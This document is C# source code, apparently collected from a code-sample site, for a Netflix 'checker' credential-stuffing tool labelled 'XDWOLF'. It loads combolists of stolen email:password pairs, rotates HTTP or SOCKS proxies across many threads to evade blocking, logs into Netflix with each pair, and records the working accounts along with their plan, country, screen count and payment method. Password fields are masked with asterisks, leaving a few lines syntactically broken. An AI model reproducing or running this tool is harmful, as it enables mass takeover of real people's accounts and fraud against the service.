public static void Check()
 {
     for (; ;)
     {
         if (CheckerHelper.proxyindex > CheckerHelper.proxies.Count <string>() - 2)
         {
             CheckerHelper.proxyindex = 0;
         }
         try
         {
             Interlocked.Increment(ref CheckerHelper.proxyindex);
             using (HttpRequest req = new HttpRequest())
             {
                 if (CheckerHelper.accindex >= CheckerHelper.accounts.Count <string>())
                 {
                     CheckerHelper.stop++;
                     break;
                 }
                 Interlocked.Increment(ref CheckerHelper.accindex);
                 string[] array = CheckerHelper.accounts[CheckerHelper.accindex].Split(new char[]
                 {
                     ':',
                     ';',
                     '|'
                 });
                 string text = array[0] + ":" + array[1];
                 try
                 {
                     if (CheckerHelper.proxytype == "HTTP")
                     {
                         req.Proxy = HttpProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
                         req.Proxy.ConnectTimeout = 5000;
                     }
                     if (CheckerHelper.proxytype == "SOCKS4")
                     {
                         req.Proxy = Socks4ProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
                         req.Proxy.ConnectTimeout = 5000;
                     }
                     if (CheckerHelper.proxytype == "SOCKS5")
                     {
                         req.Proxy = Socks5ProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
                         req.Proxy.ConnectTimeout = 5000;
                     }
                     if (CheckerHelper.proxytype == "NO")
                     {
                         req.Proxy = null;
                     }
                     req.UserAgent            = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36";
                     req.KeepAlive            = true;
                     req.IgnoreProtocolErrors = true;
                     req.ConnectTimeout       = 5000;
                     req.Cookies    = null;
                     req.UseCookies = true;
                     req.Referer    = "https://www.us-east-1.prodaa.netflix.com/de-en/Login?nextpage=https%3A%2F%2Fwww.us-east-1.prodaa.netflix.com%2FYouraccount";
                     string str1    = req.Get("https://www.us-east-1.prodaa.netflix.com/login", null).ToString();
                     string auth    = CheckerHelper.Parse(str1, "name=\"authURL\" value=\"", "\"");
                     string post    = "userLoginId=" + array[0] + "&password="******"&flow=websiteSignUp&mode=login&action=loginAction&withFields=rememberMe%2CnextPage%2CuserLoginId%2Cpassword%2CcountryCode%2CcountryIsoCode&authURL=" + auth + "&nextPage=https%3A%2F%2Fwww.us-east-1.prodaa.netflix.com%2FYourAccount&showPassword=&countryCode=";
                     string str2    = req.Post("https://www.us-east-1.prodaa.netflix.com/login", post, "application/x-www-form-urlencoded").ToString();
                     string plan    = Regex.Match(str2, "},\"currentPlanName\":\"(.*)\",\"nextPlan\":null,\"").Groups[1].ToString();
                     string screens = Regex.Match(str2, ",\"maxStreams\":(.*),\"isDiscCapable\":").Groups[1].ToString();
                     string pmethod = Regex.Match(str2, "data-uia=\"payment-text\">(.*)</span> </span><span id=\"\" ").Groups[1].ToString();
                     string country = Regex.Match(str2, "\",\"locale\":\"(.*)\",\"sessionLength\"").Groups[1].ToString();
                     if (str2.Contains("\"membershipStatus\":\"CURRENT_MEMBER\""))
                     {
                         CheckerHelper.CPM_aux++;
                         CheckerHelper.check++;
                         CheckerHelper.hits++;
                         Colorful.Console.WriteLine("[+] " + text, Color.Green);
                         Colorful.Console.WriteLine("- Plan: " + plan, Color.Green);
                         Colorful.Console.WriteLine("- Country: " + country, Color.Green);
                         Colorful.Console.WriteLine("- Screens: " + screens, Color.Green);
                         Colorful.Console.WriteLine("- Payment Method: " + pmethod, Color.Green);
                         CheckerHelper.Good("Account: " + text);
                         CheckerHelper.Good("Email: " + array[0]);
                         CheckerHelper.Good("Password: "******"Plan: " + plan);
                         CheckerHelper.Good("Country: " + country);
                         CheckerHelper.Good("Screens: " + screens);
                         CheckerHelper.Good("Payment Method: " + pmethod);
                         CheckerHelper.Good("═══════════ | NETFLIX | ═══════════");
                     }
                     if (str2.Contains("\"membershipStatus\":\"NEVER_MEMBER\""))
                     {
                         CheckerHelper.CPM_aux++;
                         CheckerHelper.check++;
                         CheckerHelper.free++;
                         Colorful.Console.WriteLine(text, Color.LightGoldenrodYellow);
                         CheckerHelper.Free(text);
                     }
                     else if (str2.Contains("\"membershipStatus\":\"ANONYMOUS\""))
                     {
                         CheckerHelper.CPM_aux++;
                         CheckerHelper.check++;
                         CheckerHelper.bad++;
                         CheckerHelper.Bad(text);
                     }
                     else
                     {
                         CheckerHelper.accounts.Add(text);
                     }
                 }
                 catch (Exception)
                 {
                     CheckerHelper.accounts.Add(text);
                 }
             }
             continue;
         }
         catch
         {
             Interlocked.Increment(ref CheckerHelper.err);
         }
     }
 }
Beispiel #2
0
        public static void Netflix1()
        {
            ServicePointManager.DefaultConnectionLimit = 100000000;
            Colorful.Console.SetWindowSize(35, 35);
            Colorful.Console.Title = Colorful.Console.Title = "XDWOLF | Coded by XDWOLF | Module: Netflix |";


            Console.WriteLine();
            Colorful.Console.Write(" Threads", Color.White);
            Colorful.Console.Write(": ", Color.Red);

            try
            {
                CheckerHelper.threads = int.Parse(Colorful.Console.ReadLine());
            }
            catch
            {
                CheckerHelper.threads = 100;
            }
            Console.Clear();
            Console.WriteLine();
            for (; ;)
            {
                Colorful.Console.Write(" Proxys Type like HTTP, SOCKS4, SOCKS5 or PROXYLESS", Color.White);
                Colorful.Console.Write(": ", Color.Red);
                CheckerHelper.proxytype = Colorful.Console.ReadLine();
                CheckerHelper.proxytype = CheckerHelper.proxytype.ToUpper();
                if (CheckerHelper.proxytype == "HTTP" || CheckerHelper.proxytype == "SOCKS4" || CheckerHelper.proxytype == "SOCKS5" || CheckerHelper.proxytype == "PROXYLESS")
                {
                    break;
                }
                Colorful.Console.Write(" Please select a valid proxy format.\n\n", Color.MediumPurple);
            }
            Thread.Sleep(2000);
            Console.Clear();
            Console.WriteLine();

            Task.Factory.StartNew(delegate()
            {
                CheckerHelper.UpdateTitle();
            });

            Colorful.Console.WriteLine();

            string         fileName;
            OpenFileDialog openFileDialog = new OpenFileDialog();

            do
            {
                Colorful.Console.Write(" Please upload your combolist", Color.White);
                Colorful.Console.Write("..\n", Color.Red);
                Thread.Sleep(500);
                openFileDialog.Title            = "Select Combo List";
                openFileDialog.DefaultExt       = "txt";
                openFileDialog.Filter           = "Text files|*.txt";
                openFileDialog.RestoreDirectory = true;
                openFileDialog.ShowDialog();
                fileName = openFileDialog.FileName;
            }while (!File.Exists(fileName));

            CheckerHelper.accounts = new List <string>(File.ReadAllLines(fileName));
            CheckerHelper.LoadCombos(fileName);

            Colorful.Console.Write("Successfully uploaded ");
            Colorful.Console.Write(CheckerHelper.total, Color.Red);
            Colorful.Console.WriteLine(" combo lines\n");
            Thread.Sleep(2000);
            Console.Clear();
            Console.WriteLine();
            if (CheckerHelper.proxytype != "NO")
            {
                do
                {
                    Colorful.Console.Write(" Please upload your proxies", Color.White);
                    Colorful.Console.Write("..\n", Color.Red);
                    Thread.Sleep(500);
                    openFileDialog.Title            = "Select Proxy List";
                    openFileDialog.DefaultExt       = "txt";
                    openFileDialog.Filter           = "Text files|*.txt";
                    openFileDialog.RestoreDirectory = true;
                    openFileDialog.ShowDialog();
                    fileName = openFileDialog.FileName;
                }while (!File.Exists(fileName));

                CheckerHelper.proxies = new List <string>(File.ReadAllLines(fileName));
                CheckerHelper.LoadProxies(fileName);
                Colorful.Console.Clear();
                Thread.Sleep(2000);
                Console.Clear();
            }
            for (int i = 1; i <= CheckerHelper.threads; i++)
            {
                new Thread(new ThreadStart(CheckerHelper.Check)).Start();
            }

            Colorful.Console.ReadLine();
            Environment.Exit(0);
        }